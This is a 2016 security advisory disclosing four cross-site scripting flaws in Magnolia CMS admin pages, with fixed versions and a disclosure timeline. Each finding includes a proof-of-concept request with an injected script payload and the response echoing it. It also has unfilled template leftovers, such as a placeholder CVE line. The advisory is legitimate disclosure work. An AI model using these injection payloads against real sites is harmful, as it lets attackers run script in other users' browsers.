Trustwave SpiderLabs Security Advisory TWSL2016-004:
Multiple Vulnerabilities in Magnolia CMS

Published: 03/09/2016 
Version: 1.0

Vendor: Magnolia CMS (https://www.magnolia-cms.com/)
Product: Magnolia CMS
Version affected: Versions prior to 4.5.28, 5.2.12, 5.3.14, 5.4.5 

Product description:
Magnolia is an open source, java based, web content management system. 

Finding 1: Reflected and Persistent Cross-site Scripting (XSS) vulnerability
Credit: Michel Chamberland of Trustwave 
CWE: CWE-79

A cross-site scripting vulnerability was identified on the
/magnoliaAuthor/.magnolia/log4j page. The "class" GET parameter can be used to
inject arbitrary JavaScript which is returned in the page's response.
Subsequent visits to the page by any users causes the XSS payload to be
executed in the victim's browser.

The following Proof of Concept (PoC) demonstrates the attack as well as
displaying evidence of the script payload being returned in the response. 

## Sample Request

GET /magnoliaAuthor/.magnolia/log4j?level=WARN&class=info.magnolia.demo.travel.model.NavigationAreaModela5inr"><script>alert('xss')<%2fscript>lw6nlzj221g&Set=Set+ HTTP/1.1
Host: localhost:8081
Cookie: JSESSIONID=A0C68EEBFC5BD94D840A205E939C6C65
Connection: close

## Sample Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Vary: Accept-Encoding
Content-Type: text/html;charset=UTF-8
Content-Length: 509081
Date: Fri, 05 Feb 2016 18:00:55 GMT
Connection: close
 
<snip>
<tr class="even">
<td>
info.magnolia.demo.travel.model.NavigationAreaModela5inr"><script>alert('xss')</script>lw6nlzj221g
</td>
<td style="text-align:right">
</td>
<td>
<form action="" method="post">
<select id="level" name="level">
<option>OFF</option>
<option>FATAL</option>
<option>ERROR</option>
<option selected="selected">WARN</option>
<option>INFO</option>
<option>DEBUG</option>
<option>ALL</option>
</select>
<input type="hidden" name="class" value="info.magnolia.demo.travel.model.NavigationAreaModela5inr"><script>alert('xss')</script>lw6nlzj221g">
<input type="submit" name="Set" value="Set "></form>
</td>
</tr>
</snip>

Finding 2: Reflected Cross-site Scripting (XSS) vulnerability
Credit: Michel Chamberland of Trustwave 
CWE: CWE-79

A cross-site scripting vulnerability was identified on the
/magnoliaAuthor/.magnolia/pages/developmentUtils.htm page. The "module" GET 
parameter can be used to inject arbitrary JavaScript which is returned in the 
page's response.

The following Proof of Concept (PoC) demonstrates the attack as well as
displaying evidence of the script payload being returned in the response. 

## Sample Request

GET /magnoliaAuthor/.magnolia/pages/developmentUtils.html?command=backup&rootdir=%2F&module=templatingu0x7e<script>alert('xss')<%2fscript>ttbx4wm23vd HTTP/1.1
Host: localhost:8081
Cookie: JSESSIONID=A0C68EEBFC5BD94D840A205E939C6C65
Connection: close

## Sample Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Vary: Accept-Encoding
Content-Type: text/html;charset=UTF-8
Content-Length: 12471
Date: Fri, 05 Feb 2016 18:08:04 GMT
Connection: close
 
<snip>
<pre>Error while processing module templatingu0x7e<script>alert('xss')</script>ttbx4wm23vd : modules/templatingu0x7e<script>alert('xss')</script>ttbx4wm23vd</pre>
</snip>

Finding 3: Reflected Cross-site Scripting (XSS) vulnerability
*****Credit: Michel Chamberland of Trustwave 
CVE: CVE-2011-xxxx (<- Do not fill in)
CWE: CWE-79

A cross-site scripting vulnerability was identified on the
/magnoliaAuthor/.magnolia/pages/jcrUtils.html page. The "language",
"repository" and "statement" GET parameters can be used to
inject arbitrary JavaScript which is returned in the page's response.

The following Proof of Concept (PoC) demonstrates the attack as well as
displaying evidence of the script payload being returned in the response. 

## Sample Request

GET /magnoliaAuthor/.magnolia/pages/jcrUtils.html?command=query&repository=category&language=JCR-SQL2&itemType=nt%3Abase&statement=select%20*rk8jx</textarea><script>alert('xss')<%2fscript>jqm4a HTTP/1.1
Host: localhost:8081
Cookie: JSESSIONID=0BCF436DACAF84DB4099E7E5F91C8AA2
Connection: close

## Sample Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Vary: Accept-Encoding
Content-Type: text/html;charset=UTF-8
Content-Length: 4678
Date: Fri, 05 Feb 2016 18:23:00 GMT
Connection: close
 
<snip>
       <div>
                   <textarea name="statement" rows="4" cols="40" style="width:380px;height:200px">select *rk8jx</textarea><script>alert('xss')</script>jqm4a</textarea>
            </div>
            <input type="submit" value="Execute" class="mgnlControlButton" />
          </form>
        </div>
    </td>
    <td valign="top">
        <div class="pageframe">
          <h3>Result</h3>
          <textarea rows="40" cols="60">Query:
select *rk8jx(*)</textarea><script>alert('xss')</script>jqm4a; expected: FROM</textarea>
        </div>
</snip>

Finding 4: Reflected Cross-site Scripting (XSS) vulnerability
Credit: Michel Chamberland of Trustwave 
CWE: CWE-79

A cross-site scripting vulnerability was identified on the
/magnoliaAuthor/.magnolia/pages/logViewer.html page. The "fileName" GET 
parameter can be used to inject arbitrary JavaScript which is returned in the 
page's response.

The following Proof of Concept (PoC) demonstrates the attack as well as
displaying evidence of the script payload being returned in the response. 

## Sample Request

GET /magnoliaAuthor/.magnolia/pages/logViewer.html?command=displayFileContent&fileName=bootstrap.logqou0q%3Cimg%20src%3da%20onerror%3dalert(%27xss%27)%3Egl0q HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://localhost:8081/magnoliaAuthor/.magnolia/pages/logViewer.html?command=displayFileContent&fileName=magnolia-audit.log
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=0BCF436DACAF84DB4099E7E5F91C8AA2
Connection: close

## Sample Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Vary: Accept-Encoding
Content-Type: text/html;charset=UTF-8
Content-Length: 3967
Date: Fri, 05 Feb 2016 18:39:56 GMT
Connection: close
 
<snip>
<pre>c:\SomePath\Magnolia\magnolia-community-demo-bundle-5.4.4-tomcat-bundle\magnolia-5.4.4\apache-tomcat-7.0.64\webapps\magnoliaAuthor\logs\bootstrap.logqou0q<img src=a onerror=alert('xss')>gl0q (The filename, directory name, or volume label syntax is incorrect)</pre>
</snip>

Remediation Steps:
Upgrade to Magnolia 4.5.28, 5.2.12, 5.3.14, 5.45 or the latest stable release.  
Please note that Trustwave SpiderLabs have not verified this fix.

Revision History:
02/11/2016 - Vulnerability disclosed to vendor
03/08/2016 - Patch released by vendor
03/09/2016 - Advisory published

References
1. https://documentation.magnolia-cms.com/display/DOCS/Release+notes+for+Magnolia+5.4.5
2. https://documentation.magnolia-cms.com/display/DOCS53/Release+notes+for+Magnolia+5.3.14
3. https://documentation.magnolia-cms.com/display/DOCS53/Release+notes+for+Magnolia+5.2.12
4. https://documentation.magnolia-cms.com/display/DOCS45/Release+notes+for+Magnolia+4.5.28


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